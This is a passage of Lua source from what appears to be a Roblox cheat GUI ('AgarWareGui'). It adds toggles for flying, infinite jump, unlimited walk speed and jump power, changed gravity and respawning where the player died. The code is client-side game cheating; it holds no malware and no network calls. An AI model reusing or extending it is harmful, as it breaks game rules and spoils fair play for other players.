p = p.Parent
end
return game:GetService("CoreGui")
end
-- ============================================================
-- TOOLTIP CREATOR
-- ============================================================
local function createTooltip(name, text, parent)
local frame = Instance.new("Frame")
frame.Name = name
frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
frame.BorderSizePixel = 0
frame.ZIndex = 100
frame.AutomaticSize = Enum.AutomaticSize.Y
frame.Size = UDim2.new(0, 212, 0, 0)
frame.Visible = false
frame.Parent = getScreenGui()
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57, 57, 57)
stroke.Thickness = 1
stroke.Parent = frame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
padding.Parent = frame
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = text
label.TextColor3 = Color3.new(1, 1, 1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0, 200, 0, 0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = frame
if parent then
parent.MouseEnter:Connect(function()
local abs = parent.AbsolutePosition
local size = parent.AbsoluteSize
frame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
frame.Visible = true
end)
parent.MouseLeave:Connect(function()
frame.Visible = false
end)
end
return frame
end
-- ============================================================
-- MINIMIZE FUNCTIONALITY
-- ============================================================
local function getRows()
local rows = {}
for _, child in ipairs(MovementGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = MovementGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
MovementMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
MovementGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
MovementMinimize.Text = "+"
else
MovementGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
MovementMinimize.Text = "-"
end
end)
-- ============================================================
-- TICKBOX FEATURE SETUP
-- ============================================================
local activeFeatures = {}
local function setupTickBox(config)
local rowName = config.row
local tickBoxName = config.tickBox
local tooltipText = config.tooltip
local onEnable = config.onEnable
local onDisable = config.onDisable
local loop = config.loop
local row = MovementGroup:FindFirstChild(rowName)
if not row then
warn("[MovementGroup] Row not found:", rowName)
return
end
local tickBox = row:FindFirstChild(tickBoxName)
if not tickBox then
warn("[MovementGroup] TickBox not found:", tickBoxName)
return
end
local isEnabled = false
local loopConnection = nil
tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
-- Create tooltip
local tooltip = createTooltip(tickBoxName .. "Tooltip", tooltipText, tickBox)
-- Enable function
local function enable()
isEnabled = true
if MovementAccentColor then
tickBox.BackgroundColor3 = MovementAccentColor.BackgroundColor3
else
tickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255)
end
if onEnable then
pcall(onEnable)
end
if loop then
loopConnection = RunService.Heartbeat:Connect(function()
if isEnabled then
pcall(loop)
end
end)
end
end
-- Disable function
local function disable()
isEnabled = false
tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
if loopConnection then
loopConnection:Disconnect()
loopConnection = nil
end
if onDisable then
pcall(onDisable)
end
end
-- Click handler
tickBox.MouseButton1Click:Connect(function()
if isEnabled then
disable()
else
enable()
end
end)
-- Store for cleanup
table.insert(activeFeatures, {
tooltip = tooltip,
disable = disable,
connection = loopConnection
})
return {
enable = enable,
disable = disable,
isEnabled = function() return isEnabled end
}
end
-- ============================================================
-- FEATURES START HERE
-- ============================================================
-- FLY
local FlyRow = MovementGroup:FindFirstChild("FlyRow")
if FlyRow then
local FlySpeedChanger = FlyRow:FindFirstChild("FlySpeedChanger")
if FlySpeedChanger then FlySpeedChanger.Text = "(50)" end
local flySpeed = 50
local nowe = false
local tpwalking = false
local ctrl = {f=0, b=0, l=0, r=0}
local lastctrl = {f=0, b=0, l=0, r=0}
setupTickBox({
row = "FlyRow",
tickBox = "FlyTickBox",
tooltip = "Allows your character to fly. E = up, Q = down",
onEnable = function()
local chr = LocalPlayer.Character
if not chr then return end
local hum = chr:FindFirstChildOfClass("Humanoid")
if not hum then return end
nowe = true
tpwalking = true
for _, state in pairs(Enum.HumanoidStateType:GetEnumItems()) do
pcall(function() hum:SetStateEnabled(state, false) end)
end
hum:ChangeState(Enum.HumanoidStateType.Swimming)
hum.PlatformStand = true
chr.Animate.Disabled = true
task.wait()
for _, track in pairs(hum:GetPlayingAnimationTracks()) do
track:Stop(0)
end
spawn(function()
local hb = RunService.Heartbeat
while tpwalking and nowe do
hb:Wait()
chr = LocalPlayer.Character
hum = chr and chr:FindFirstChildOfClass("Humanoid")
if chr and hum and hum.Parent then
if hum.MoveDirection.Magnitude > 0 then
chr:TranslateBy(hum.MoveDirection * flySpeed / 50)
end
end
end
end)
local isR6 = hum.RigType == Enum.HumanoidRigType.R6
local torso = isR6 and chr:FindFirstChild("Torso") or chr:FindFirstChild("UpperTorso")
if not torso then return end
local bg = Instance.new("BodyGyro")
bg.P = 9e4
bg.MaxTorque = Vector3.new(9e9, 9e9, 9e9)
bg.CFrame = torso.CFrame
bg.Parent = torso
local bv = Instance.new("BodyVelocity")
bv.Velocity = Vector3.new(0, 0.1, 0)
bv.MaxForce = Vector3.new(9e9, 9e9, 9e9)
bv.Parent = torso
local speed = 0
spawn(function()
while nowe do
RunService.RenderStepped:Wait()
local maxspeed = flySpeed
local camCF = workspace.CurrentCamera.CFrame
ctrl.f = UserInputService:IsKeyDown(Enum.KeyCode.W) and 1 or 0
ctrl.b = UserInputService:IsKeyDown(Enum.KeyCode.S) and -1 or 0
ctrl.l = UserInputService:IsKeyDown(Enum.KeyCode.A) and -1 or 0
ctrl.r = UserInputService:IsKeyDown(Enum.KeyCode.D) and 1 or 0
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
speed = math.min(speed + 0.5 + speed/maxspeed, maxspeed)
elseif speed ~= 0 then
speed = math.max(speed - 1, 0)
end
local flatLook = Vector3.new(camCF.LookVector.X, 0, camCF.LookVector.Z).Unit
local flatRight = Vector3.new(camCF.RightVector.X, 0, camCF.RightVector.Z).Unit
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
bv.Velocity = (flatLook * (ctrl.f+ctrl.b) + flatRight * (ctrl.l+ctrl.r)) * speed
lastctrl = {f=ctrl.f, b=ctrl.b, l=ctrl.l, r=ctrl.r}
elseif speed ~= 0 then
bv.Velocity = (flatLook * (lastctrl.f+lastctrl.b) + flatRight * (lastctrl.l+lastctrl.r)) * speed
else
bv.Velocity = Vector3.new(0, 0, 0)
end
bg.CFrame = camCF
if UserInputService:IsKeyDown(Enum.KeyCode.E) then
torso.CFrame = torso.CFrame + Vector3.new(0, 1, 0)
elseif UserInputService:IsKeyDown(Enum.KeyCode.Q) then
torso.CFrame = torso.CFrame + Vector3.new(0, -1, 0)
end
end
bg:Destroy()
bv:Destroy()
end)
end,
onDisable = function()
nowe = false
tpwalking = false
local chr = LocalPlayer.Character
if not chr then return end
local hum = chr:FindFirstChildOfClass("Humanoid")
if not hum then return end
for _, state in pairs(Enum.HumanoidStateType:GetEnumItems()) do
pcall(function() hum:SetStateEnabled(state, true) end)
end
hum:ChangeState(Enum.HumanoidStateType.RunningNoPhysics)
hum.PlatformStand = false
chr.Animate.Disabled = false
end
})
if FlySpeedChanger then
FlySpeedChanger.FocusLost:Connect(function()
local num = tonumber(FlySpeedChanger.Text)
if num and num > 0 then
flySpeed = num
FlySpeedChanger.Text = tostring(num)
else
FlySpeedChanger.Text = tostring(flySpeed)
end
end)
end
end
-- INF JUMP
local infJumpConn = nil
setupTickBox({
row = "InfJumpRow",
tickBox = "InfJumpTickBox",
tooltip = "Allows your character to jump infinitely",
onEnable = function()
infJumpConn = UserInputService.JumpRequest:Connect(function()
local character = LocalPlayer.Character
if not character then return end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
end
end)
end,
onDisable = function()
if infJumpConn then
infJumpConn:Disconnect()
infJumpConn = nil
end
end
})
-- JUMPPOWER
local JumppowerRow = MovementGroup:FindFirstChild("JumppowerRow")
if JumppowerRow then
local JumppowerJumpChanger = JumppowerRow:FindFirstChild("JumppowerJumpChanger")
if JumppowerJumpChanger then JumppowerJumpChanger.Text = "(50)" end
local jumpPower = 50
local isInfinite = false
local function updateJumppower()
local character = LocalPlayer.Character
if character then
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid.UseJumpPower = true
humanoid.JumpPower = isInfinite and math.huge or jumpPower
end
end
end
setupTickBox({
row = "JumppowerRow",
tickBox = "JumppowerTickBox",
tooltip = "Changes your character jump power",
onEnable = function()
updateJumppower()
end,
onDisable = function()
local character = LocalPlayer.Character
if character then
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid.UseJumpPower = true
humanoid.JumpPower = 50
end
end
end
})
if JumppowerJumpChanger then
JumppowerJumpChanger.FocusLost:Connect(function()
local text = string.lower(JumppowerJumpChanger.Text)
if text == "inf" then
isInfinite = true
jumpPower = math.huge
JumppowerJumpChanger.Text = "inf"
else
local num = tonumber(text)
if num then
isInfinite = false
jumpPower = num
JumppowerJumpChanger.Text = tostring(num)
else
JumppowerJumpChanger.Text = isInfinite and "inf" or tostring(jumpPower)
end
end
updateJumppower()
end)
end
LocalPlayer.CharacterAdded:Connect(function(character)
local humanoid = character:WaitForChild("Humanoid")
humanoid.UseJumpPower = true
humanoid.JumpPower = isInfinite and math.huge or jumpPower
end)
end
-- WALKSPEED
local WalkspeedRow = MovementGroup:FindFirstChild("WalkspeedRow")
if WalkspeedRow then
local WalkspeedSpeedChanger = WalkspeedRow:FindFirstChild("WalkspeedSpeedChanger")
if WalkspeedSpeedChanger then WalkspeedSpeedChanger.Text = "(16)" end
local walkSpeed = 16
local isInfinite = false
local function updateWalkspeed()
local character = LocalPlayer.Character
if character then
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid.WalkSpeed = isInfinite and math.huge or walkSpeed
end
end
end
setupTickBox({
row = "WalkspeedRow",
tickBox = "WalkspeedTickBox",
tooltip = "Changes your character walk speed",
onEnable = function()
updateWalkspeed()
end,
onDisable = function()
local character = LocalPlayer.Character
if character then
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid.WalkSpeed = 16
end
end
end
})
if WalkspeedSpeedChanger then
WalkspeedSpeedChanger.FocusLost:Connect(function()
local text = string.lower(WalkspeedSpeedChanger.Text)
if text == "inf" then
isInfinite = true
walkSpeed = math.huge
WalkspeedSpeedChanger.Text = "inf"
else
local num = tonumber(text)
if num then
isInfinite = false
walkSpeed = num
WalkspeedSpeedChanger.Text = tostring(num)
else
WalkspeedSpeedChanger.Text = isInfinite and "inf" or tostring(walkSpeed)
end
end
updateWalkspeed()
end)
end
LocalPlayer.CharacterAdded:Connect(function(character)
local humanoid = character:WaitForChild("Humanoid")
humanoid.WalkSpeed = isInfinite and math.huge or walkSpeed
end)
end
-- ============================================================
-- ADD NEW FEATURES HERE - USE THIS TEMPLATE:
-- ============================================================
--[[
setupTickBox({
row = "YourRow",
tickBox = "YourTickBox",
tooltip = "What this feature does",
onEnable = function()
-- Runs once when enabled
end,
onDisable = function()
-- Runs once when disabled
end,
loop = function()
-- Runs every frame while enabled
end
})
]]
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
for _, feature in pairs(activeFeatures) do
if feature.tooltip then
feature.tooltip:Destroy()
end
if feature.disable then
feature.disable()
end
end
end
end)
end;
task.spawn(C_1c);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MovementGroup.ShiftLockRow.ShiftLockScript
local function C_31()
local script = G2L["31"];
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local ContextActionService = game:GetService("ContextActionService")
local LocalPlayer = Players.LocalPlayer
local ShiftLockRow = script.Parent
local ShiftLockTickBox = ShiftLockRow.ShiftLockTickBox
local MovementGroup = ShiftLockRow.Parent
local MovementAccentColor = MovementGroup.MovementAccentColor
local isEnabled = false
local active = nil
local lastPressTime = 0
local debounceTime = 0.2
local function getAccent()
return MovementAccentColor.BackgroundColor3
end
local function getScreenGui()
local parent = ShiftLockRow
while parent do
if parent:IsA("ScreenGui") then return parent end
parent = parent.Parent
end
end
-- Tooltip
local tooltipFrame = Instance.new("Frame")
tooltipFrame.Name = "ShiftLockTooltip"
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.XY
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local tooltipStroke = Instance.new("UIStroke")
tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
tooltipStroke.Thickness = 1
tooltipStroke.Parent = tooltipFrame
local tooltipPadding = Instance.new("UIPadding")
tooltipPadding.PaddingTop = UDim.new(0, 6)
tooltipPadding.PaddingBottom = UDim.new(0, 6)
tooltipPadding.PaddingLeft = UDim.new(0, 6)
tooltipPadding.PaddingRight = UDim.new(0, 6)
tooltipPadding.Parent = tooltipFrame
local tooltipLabel = Instance.new("TextLabel")
tooltipLabel.Name = "TooltipText"
tooltipLabel.BackgroundTransparency = 1
tooltipLabel.Text = "Adds a shiftlock button to your screen on mobile"
tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
tooltipLabel.TextSize = 14
tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
tooltipLabel.Font = Enum.Font.GothamSemibold
tooltipLabel.TextWrapped = true
tooltipLabel.AutomaticSize = Enum.AutomaticSize.XY
tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
tooltipLabel.ZIndex = 101
tooltipLabel.Parent = tooltipFrame
ShiftLockTickBox.MouseEnter:Connect(function()
local abs = ShiftLockTickBox.AbsolutePosition
local size = ShiftLockTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
ShiftLockTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
-- ShiftLock UI
local shiftLockGui = nil
local imageButton = nil
local states = {
OFF = "rbxasset://textures/ui/mouseLock_off@2x.png",
ON = "rbxasset://textures/ui/mouseLock_on@2x.png"
}
local MAX_LENGTH = 900000
local ENABLED_OFFSET = CFrame.new(1.7, 0, 0)
local DISABLED_OFFSET = CFrame.new(-1.7, 0, 0)
local function getCharacterParts()
local character = LocalPlayer.Character
if not character then return nil, nil, nil end
local humanoid = character:FindFirstChildOfClass("Humanoid")
local hrp = character:FindFirstChild("HumanoidRootPart")
local camera = workspace.CurrentCamera
return humanoid, hrp, camera
end
local function updateImage(state)
if imageButton then
imageButton.Image = states[state]
end
end
local function disableShiftlock()
local humanoid, hrp, camera = getCharacterParts()
if humanoid then humanoid.AutoRotate = true end
if camera then camera.CFrame = camera.CFrame * DISABLED_OFFSET end
updateImage("OFF")
if active then
active:Disconnect()
active = nil
end
end
local function enableShiftlock()
local humanoid, hrp, camera = getCharacterParts()
if not humanoid or not hrp or not camera then return end
humanoid.AutoRotate = false
hrp.CFrame = CFrame.new(hrp.Position, Vector3.new(
camera.CFrame.LookVector.X * MAX_LENGTH,
hrp.Position.Y,
camera.CFrame.LookVector.Z * MAX_LENGTH
))
camera.CFrame = camera.CFrame * ENABLED_OFFSET
updateImage("ON")
end
local function shiftLockToggle()
local currentTime = tick()
if currentTime - lastPressTime < debounceTime then return end
lastPressTime = currentTime
if not active then
active = RunService.RenderStepped:Connect(function()
enableShiftlock()
end)
else
disableShiftlock()
end
end
local function createUI()
-- Cleanup old UI
if shiftLockGui then
shiftLockGui:Destroy()
shiftLockGui = nil
imageButton = nil
end
local playerGui = LocalPlayer:WaitForChild("PlayerGui")
shiftLockGui = Instance.new("ScreenGui")
shiftLockGui.Name = "ShiftLockGui"
shiftLockGui.ResetOnSpawn = false
shiftLockGui.DisplayOrder = 999
shiftLockGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
shiftLockGui.Parent = playerGui
imageButton = Instance.new("ImageButton")
imageButton.BackgroundTransparency = 1
imageButton.Position = UDim2.new(0.921914339, 0, 0.552375436, 0)
imageButton.Size = UDim2.new(0.0636147112, 0, 0.0661305636, 0)
imageButton.SizeConstraint = Enum.SizeConstraint.RelativeXX
imageButton.Image = states.OFF
imageButton.Modal = true
imageButton.Active = true
imageButton.Parent = shiftLockGui
-- Draggable logic
local dragging = false
local dragStart = Vector2.new()
local startPos = UDim2.new()
imageButton.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = imageButton.Position
end
end)
imageButton.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.Touch then
dragging = false
end
end)
RunService.RenderStepped:Connect(function()
if dragging then
local touchPos = UserInputService:GetTouchPosition()
if not touchPos then return end
local delta = touchPos - dragStart
local newPos = UDim2.new(
startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y
)
imageButton.Position = newPos
end
end)
imageButton.MouseButton1Click:Connect(function()
shiftLockToggle()
end)
-- PC: bind shift key
ContextActionService:BindAction("ShiftLockToggle", function(_, inputState)
if inputState == Enum.UserInputState.Begin then
shiftLockToggle()
end
end, false, Enum.KeyCode.LeftShift)
end
local function destroyUI()
disableShiftlock()
ContextActionService:UnbindAction("ShiftLockToggle")
if shiftLockGui then
shiftLockGui:Destroy()
shiftLockGui = nil
imageButton = nil
end
end
ShiftLockTickBox.MouseButton1Click:Connect(function()
isEnabled = not isEnabled
ShiftLockTickBox.BackgroundColor3 = isEnabled and getAccent() or Color3.new(0, 0, 0)
if isEnabled then
createUI()
else
destroyUI()
end
end)
LocalPlayer.CharacterAdded:Connect(function()
if isEnabled then
task.wait(0.5)
createUI()
end
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
destroyUI()
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_31);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.MiscScript
local function C_35()
local script = G2L["35"];
-- ============================================================
-- MISC GROUP MASTER SCRIPT
-- Place this script directly under MiscGroup
-- Handles: Minimize, Boost FPS, Respawn Death, Rejoin Button, Gravity
-- ============================================================
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local TeleportService = game:GetService("TeleportService")
local Lighting = game:GetService("Lighting")
local LocalPlayer = Players.LocalPlayer
local MiscGroup = script.Parent
local MiscMinimize = MiscGroup.MiscTitle.MiscMinimize
local MiscAccentColor = MiscGroup:FindFirstChild("MiscAccentColor")
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = MiscGroup
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
return game:GetService("CoreGui")
end
-- ============================================================
-- TOOLTIP CREATOR
-- ============================================================
local function createTooltip(name, text, parent)
local frame = Instance.new("Frame")
frame.Name = name
frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
frame.BorderSizePixel = 0
frame.ZIndex = 100
frame.AutomaticSize = Enum.AutomaticSize.Y
frame.Size = UDim2.new(0, 212, 0, 0)
frame.Visible = false
frame.Parent = getScreenGui()
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57, 57, 57)
stroke.Thickness = 1
stroke.Parent = frame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
padding.Parent = frame
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = text
label.TextColor3 = Color3.new(1, 1, 1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0, 200, 0, 0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = frame
if parent then
parent.MouseEnter:Connect(function()
local abs = parent.AbsolutePosition
local size = parent.AbsoluteSize
frame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
frame.Visible = true
end)
parent.MouseLeave:Connect(function()
frame.Visible = false
end)
end
return frame
end
-- ============================================================
-- MINIMIZE FUNCTIONALITY
-- ============================================================
local function getRows()
local rows = {}
for _, child in ipairs(MiscGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = MiscGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
MiscMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
MiscGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
MiscMinimize.Text = "+"
else
MiscGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
MiscMinimize.Text = "-"
end
end)
-- ============================================================
-- TICKBOX FEATURE SETUP
-- ============================================================
local activeFeatures = {}
local function setupTickBox(config)
local rowName = config.row
local tickBoxName = config.tickBox
local tooltipText = config.tooltip
local onEnable = config.onEnable
local onDisable = config.onDisable
local loop = config.loop
local row = MiscGroup:FindFirstChild(rowName)
if not row then
warn("[MiscGroup] Row not found:", rowName)
return
end
local tickBox = row:FindFirstChild(tickBoxName)
if not tickBox then
warn("[MiscGroup] TickBox not found:", tickBoxName)
return
end
local isEnabled = false
local loopConnection = nil
tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
-- Create tooltip
local tooltip = createTooltip(tickBoxName .. "Tooltip", tooltipText, tickBox)
-- Enable function
local function enable()
isEnabled = true
if MiscAccentColor then
tickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3
else
tickBox.BackgroundColor3 = Color3.fromRGB(0, 123, 255)
end
if onEnable then
pcall(onEnable)
end
if loop then
loopConnection = RunService.Heartbeat:Connect(function()
if isEnabled then
pcall(loop)
end
end)
end
end
-- Disable function
local function disable()
isEnabled = false
tickBox.BackgroundColor3 = Color3.new(0, 0, 0)
if loopConnection then
loopConnection:Disconnect()
loopConnection = nil
end
if onDisable then
pcall(onDisable)
end
end
-- Click handler
tickBox.MouseButton1Click:Connect(function()
if isEnabled then
disable()
else
enable()
end
end)
-- Store for cleanup
table.insert(activeFeatures, {
tooltip = tooltip,
disable = disable,
connection = loopConnection
})
return {
enable = enable,
disable = disable,
isEnabled = function() return isEnabled end
}
end
-- ============================================================
-- BUTTON FEATURE SETUP
-- ============================================================
local function setupButton(config)
local rowName = config.row
local buttonName = config.button
local tooltipText = config.tooltip
local onClick = config.onClick
local row = MiscGroup:FindFirstChild(rowName)
if not row then
warn("[MiscGroup] Row not found:", rowName)
return
end
local button = row:FindFirstChild(buttonName)
if not button then
warn("[MiscGroup] Button not found:", buttonName)
return
end
-- Create tooltip if provided
if tooltipText then
local tooltip = createTooltip(buttonName .. "Tooltip", tooltipText, button)
table.insert(activeFeatures, {tooltip = tooltip})
end
-- Click handler
button.MouseButton1Click:Connect(function()
if onClick then
pcall(onClick)
end
end)
end
-- ============================================================
-- FEATURES START HERE
-- ============================================================
-- BOOST FPS
local savedSettings = {
WaterWaveSize = nil,
WaterWaveSpeed = nil,
WaterReflectance = nil,
WaterTransparency = nil,
GlobalShadows = nil,
FogEnd = nil,
FogStart = nil,
QualityLevel = nil,
}
local savedParts = {}
local savedDecals = {}
local savedEffects = {}
local descendantConn = nil
setupTickBox({
row = "BoostFPSRow",
tickBox = "BoostFPSTickBox",
tooltip = "Reduces graphics and removes effects to boost FPS",
onEnable = function()
local Terrain = workspace:FindFirstChildWhichIsA("Terrain")
if Terrain then
savedSettings.WaterWaveSize = Terrain.WaterWaveSize
savedSettings.WaterWaveSpeed = Terrain.WaterWaveSpeed
savedSettings.WaterReflectance = Terrain.WaterReflectance
savedSettings.WaterTransparency = Terrain.WaterTransparency
Terrain.WaterWaveSize = 0
Terrain.WaterWaveSpeed = 0
Terrain.WaterReflectance = 0
Terrain.WaterTransparency = 1
end
savedSettings.GlobalShadows = Lighting.GlobalShadows
savedSettings.FogEnd = Lighting.FogEnd
savedSettings.FogStart = Lighting.FogStart
savedSettings.QualityLevel = settings().Rendering.QualityLevel
Lighting.GlobalShadows = false
Lighting.FogEnd = 9e9
Lighting.FogStart = 9e9
settings().Rendering.QualityLevel = 1
for _, v in pairs(game:GetDescendants()) do
if v:IsA("BasePart") then
savedParts[v] = {
CastShadow = v.CastShadow,
Material = v.Material,
Reflectance = v.Reflectance,
BackSurface = v.BackSurface,
BottomSurface = v.BottomSurface,
FrontSurface = v.FrontSurface,
LeftSurface = v.LeftSurface,
RightSurface = v.RightSurface,
TopSurface = v.TopSurface,
}
v.CastShadow = false
v.Material = Enum.Material.Plastic
v.Reflectance = 0
v.BackSurface = Enum.SurfaceType.SmoothNoOutlines
v.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
v.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
v.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
v.RightSurface = Enum.SurfaceType.SmoothNoOutlines
v.TopSurface = Enum.SurfaceType.SmoothNoOutlines
elseif v:IsA("Decal") then
savedDecals[v] = {Transparency = v.Transparency, Texture = v.Texture}
v.Transparency = 1
v.Texture = ""
elseif v:IsA("ParticleEmitter") or v:IsA("Trail") then
savedEffects[v] = {Lifetime = v.Lifetime}
v.Lifetime = NumberRange.new(0)
end
end
for _, v in pairs(Lighting:GetDescendants()) do
if v:IsA("PostEffect") then
savedEffects[v] = {Enabled = v.Enabled}
v.Enabled = false
end
end
descendantConn = workspace.DescendantAdded:Connect(function(child)
task.spawn(function()
if child:IsA("ForceField") or child:IsA("Sparkles") or child:IsA("Smoke") or child:IsA("Fire") or child:IsA("Beam") then
RunService.Heartbeat:Wait()
child:Destroy()
elseif child:IsA("BasePart") then
child.CastShadow = false
end
end)
end)
end,
onDisable = function()
if descendantConn then
descendantConn:Disconnect()
descendantConn = nil
end
local Terrain = workspace:FindFirstChildWhichIsA("Terrain")
if Terrain then
if savedSettings.WaterWaveSize then Terrain.WaterWaveSize = savedSettings.WaterWaveSize end
if savedSettings.WaterWaveSpeed then Terrain.WaterWaveSpeed = savedSettings.WaterWaveSpeed end
if savedSettings.WaterReflectance then Terrain.WaterReflectance = savedSettings.WaterReflectance end
if savedSettings.WaterTransparency then Terrain.WaterTransparency = savedSettings.WaterTransparency end
end
if savedSettings.GlobalShadows ~= nil then Lighting.GlobalShadows = savedSettings.GlobalShadows end
if savedSettings.FogEnd then Lighting.FogEnd = savedSettings.FogEnd end
if savedSettings.FogStart then Lighting.FogStart = savedSettings.FogStart end
if savedSettings.QualityLevel then settings().Rendering.QualityLevel = savedSettings.QualityLevel end
for v, data in pairs(savedParts) do
pcall(function()
v.CastShadow = data.CastShadow
v.Material = data.Material
v.Reflectance = data.Reflectance
v.BackSurface = data.BackSurface
v.BottomSurface = data.BottomSurface
v.FrontSurface = data.FrontSurface
v.LeftSurface = data.LeftSurface
v.RightSurface = data.RightSurface
v.TopSurface = data.TopSurface
end)
end
for v, data in pairs(savedDecals) do
pcall(function()
v.Transparency = data.Transparency
v.Texture = data.Texture
end)
end
for v, data in pairs(savedEffects) do
pcall(function()
if data.Lifetime then
v.Lifetime = data.Lifetime
elseif data.Enabled ~= nil then
v.Enabled = data.Enabled
end
end)
end
savedParts = {}
savedDecals = {}
savedEffects = {}
end
})
-- RESPAWN DEATH
local lastPosition = nil
setupTickBox({
row = "RespawnDeathRow",
tickBox = "RespawnDeathTickBox",
tooltip = "Respawns you at your last position when you die instead of at the spawn point.",
onEnable = function()
-- Save position every second
task.spawn(function()
while true do
task.wait(1)
local character = LocalPlayer.Character
if character then
local hrp = character:FindFirstChild("HumanoidRootPart")
if hrp then
lastPosition = hrp.CFrame
end
end
end
end)
-- Watch for respawns
LocalPlayer.CharacterAdded:Connect(function(character)
if lastPosition then
local hrp = character:WaitForChild("HumanoidRootPart")
task.wait(0.01)
hrp.CFrame = lastPosition
end
end)
end,
onDisable = function()
lastPosition = nil
end
})
-- GRAVITY
local DEFAULT_GRAVITY = 196.2
local GravityRow = MiscGroup:FindFirstChild("GravityRow")
if GravityRow then
local GravityChanger = GravityRow:FindFirstChild("GravityChanger")
local function getGravity()
if not GravityChanger then return DEFAULT_GRAVITY end
local text = string.lower(GravityChanger.Text)
if text == "inf" or text == "infinity" then return math.huge end
local num = tonumber(GravityChanger.Text)
if num == 0 then return 0 end
return num and num > 0 and num or DEFAULT_GRAVITY
end
local gravityFeature = setupTickBox({
row = "GravityRow",
tickBox = "GravityTickBox",
tooltip = "Changes workspace gravity. Default is 196.2. Set to 0 for no gravity, or type inf for max gravity.",
onEnable = function()
workspace.Gravity = getGravity()
end,
onDisable = function()
workspace.Gravity = DEFAULT_GRAVITY
end
})
if GravityChanger then
GravityChanger:GetPropertyChangedSignal("Text"):Connect(function()
if gravityFeature and gravityFeature.isEnabled() then
workspace.Gravity = getGravity()
end
end)
GravityChanger.FocusLost:Connect(function()
local text = string.lower(GravityChanger.Text)
